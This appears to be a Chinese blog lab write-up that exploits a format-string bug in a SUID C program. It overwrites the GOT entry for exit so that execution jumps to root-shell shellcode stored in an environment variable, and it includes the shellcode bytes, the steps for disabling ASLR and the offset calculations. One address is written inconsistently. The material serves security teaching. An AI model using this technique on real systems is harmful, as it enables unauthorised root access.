// vul.c
/*
* 如果获得环境变量的程序和攻击的程序的文件名长度不一样,环境变量的地址
* 会发生偏移。因此,要么令两个程序的文件名长度相等(推荐),要么考虑偏
* 移来计算环境变量地址。
* gcc -z execstack -o got got.c
*/
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[1024];
strncpy(buf, argv[1], sizeof(buf) - 1);
printf(buf);
puts("done");
exit(0);
}
利用 root 把上面这段代码编译并且 suid,然后普通用户执行它,要求就是成
功获得 root shell。
- 观察以上代码,我们的思路是将shellcode写进环境变量,然后获取环境变量的地址,再将这个地址覆盖exit函数的地址,这样,在程序执行到exit(0)的时候,就会执行我们的shellcode。
- 下面给出的get.c用于获取环境变量地址:
//get.c
//export EGG=$(python -c "print '\x90'*1000 + '\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80'")
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
printf("Egg address: %p ",getenv("EGG"));
}
- 首先,关闭地址随机化:sudo sysctl -w kernel.randomize_va_space=0
2.编译get.c,利用 root 把vul.c编译并且 suid,还要使栈可执行
3.定义一个环境变量 EGG 存放 shellcode,再执行get获取它的地址。
export EGG=$(python -c "print '\x90'*1000 + '\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80'")
得到EGG地址为:0xbfff29e
4.查找exit的地址:
objdump -R vul
可以看到exit的地址为0x0804a00c
5.查询 AAAA 在内存中位置:
AAAA在第11个位置。
6.实施攻击,实施攻击的关键是计算把 shellcode 的地址 0xbffff29e 写到析
构函数的返回地址(即 0x 0804a00c)所指向的内存字中所需要的偏移量。
计算偏移量:
- 49143=bfff-8;
-
12959=f29e-bfff;
攻击成功…成功获得root权限~
版权声明:本文为weixin_42189863原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。